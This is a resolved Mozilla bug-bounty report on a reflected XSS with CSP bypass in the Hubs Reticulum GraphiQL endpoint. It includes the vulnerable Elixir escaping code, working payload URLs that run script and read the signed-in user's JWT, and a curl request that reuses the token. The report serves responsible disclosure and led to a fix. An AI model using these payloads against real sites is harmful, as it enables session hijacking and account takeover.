Closed Bug 1794885 Opened 4 years ago Closed 4 years ago

Reflected XSS with CSP bypass in Reticulum via improperly escaped "query" parameter in Elixir GraphiQL interface

Categories

(Websites :: Hubs, task)

Tracking

(Not tracked)

RESOLVED FIXED

People

(Reporter: 40826d, Assigned: benders)

References

()

Details

(4 keywords, Whiteboard: [reporter-external] [web-bounty-form] [need to follow up with Absinthe before disclosure])

Attachments

(2 files)

Summary

Reticulum is the Elixir backend for Hubs. It ships with an alpha GraphQL API which exposes an instance of the GraphiQL web IDE on the /api/v2_alpha/graphiql route:

scope "/api/v2_alpha", as: :api_v2_alpha do
  pipe_through(
    [:parsed_body, :api, :public_api_access, :graphql] ++ if(Mix.env() == :prod, do: [:ssl_only], else: [])
  )

  forward "/graphiql", Absinthe.Plug.GraphiQL, json_codec: Jason, schema: RetWeb.Schema
  forward "/", Absinthe.Plug, json_codec: Jason, schema: RetWeb.Schema
end

While exploring the Reticulum GraphiQL instance, I noticed that the value of the GET parameter query was returned unescaped in the main block of inline JavaScript. As CSP does not appear to be enforced under /api/v2_alpha/*, I was able to break out of the config variable and execute arbitrary JavaScript in the context of https://hubs.mozilla.com.

Based on the invocation of Absinthe.Plug.GraphiQL in the Reticulum Elixir code I suspect that this is ultimately the result of a bug in the "Absinthe.Plug" library, however I am not particularly familiar with Elixir and would appreciate a second opinion.

Specifically, it looks like the graphiql_workspace.html.eex template is used to render the page with the query_string variable:

var config = new graphiqlWorkspace.AppConfig("graphiql", {
  defaultUrl: <%= default_url %>,
  <%= if socket_url do %>
    defaultWebsocketUrl: <%= socket_url %>,
    subscriptionsClientBuilder: absintheSubscriptionsClientBuilder,
  <% end %>
  defaultQuery: '<%= query_string %>', # injection point
  defaultVariables: '<%= variables_string %>',
  defaultHeaders: <%= default_headers %>

This template is loaded by the parent GraphiQL module which attempts escaping on the query parameter. It is possible to bypass this escaping with a backslash as shown in the PoC in "Steps to Reproduce".

defp js_escape(string) do
  string
  |> String.replace(~r/\n/, "\\n")
  |> String.replace(~r/'/, "\\'")
end

Environment

  • Firefox 105.0.1 (64-bit), Firefox Developer Edition 106.0b6 (64-bit)

Steps to Reproduce

  1. Browse to https://hubs.mozilla.com/api/v2_alpha/graphiql?query=xxx\%27});confirm(document.domain);%20var%20x=new%20graphiqlWorkspace.AppConfig(%22x%22,{//.

  2. Observe the JavaScript alert dialog with the value of document.domain.

Impact

An attacker can execute arbitrary JavaScript in the context of another user on https://hubs.mozilla.com. This may allow the attacker to interfere with the authentication flow and subsequently perform actions as that user.

Flags: sec-bounty?
Attached image Hubs_GraphiQL_XSS.png —

If the user is signed in to Hubs, the following PoC URL can be used to retrieve their JWT from localStorage:

https://hubs.mozilla.com/api/v2_alpha/graphiql?query=xxx\%27});confirm(JSON.stringify(localStorage.___hubs_store));%20var%20x=new%20graphiqlWorkspace.AppConfig(%22x%22,{//

This auth token can then be used to make API requests to Reticulum as that user:

$ curl "https://hubs.mozilla.com/api/v1/projects" -X GET -H "Authorization: Bearer eyJ..."
{"projects":[{"name":"MySecretUnpublishedHubsProject","parent_scene":null,"project_id":"bNUKn6S","project_url":"https://uploads-prod.reticulum.io/files/9320cb9d-02ec-4ff0-83b8-42d7806a7d26.json","scene":null,"thumbnail_url":"https://uploads-prod.reticulum.io/files/1bbb66ba-f5e6-4cf3-8304-f2c098dc2d7d.jpg"}]}

I was able to reproduce this with the test account 40826d.mozbugbountytest@posteo.de and a clean session in the browsers in the "Environment" section.

Component: Other → Hubs

Hello Viridian,

Thank you for your report.

I can confirm that the XSS payload is being executed.

Thanks,
Frida

Keywords: wsec-xss

Hello Bryan,

Can you please take a look?

Thanks,
Frida

Flags: needinfo?(benders)
Assignee: nobody → benders
Flags: needinfo?(benders)

Vulnerability confirmed. We are removing that route until we can secure it. Thank you, viridian!

Hi Frida and Bryan, thanks for the fast reply and confirmation! Please let me know if you require any additional info.

Status: NEW → RESOLVED
Closed: 4 years ago
Resolution: --- → FIXED

Viridian, may I file this issue with Absinthe using your wording largely unchanged? If so, would you like attribution?

Flags: needinfo?(40826d.moz)

(In reply to Bryan from comment #8)

Viridian, may I file this issue with Absinthe using your wording largely unchanged? If so, would you like attribution?

Sure, that's fine. Please use "40826d" for attribution. Thanks for checking!

Flags: needinfo?(40826d.moz)

Thank you for reporting this bug.

Flags: sec-bounty? → sec-bounty+
Keywords: sec-high

Thank you for the bounty award!

Whiteboard: [reporter-external] [web-bounty-form] [verif?] → [reporter-external] [web-bounty-form] [need to follow up with Absinthe before disclosure]
Group: websites-security
Summary: Reflected XSS in Reticulum via improperly escaped "query" parameter in GraphiQL Elixir implementation → Reflected XSS with CSP bypass in Reticulum via improperly escaped "query" parameter in Elixir GraphiQL interface
You need to log in before you can comment on or make changes to this bug.

Attachment

General

Created:
Updated:
Size: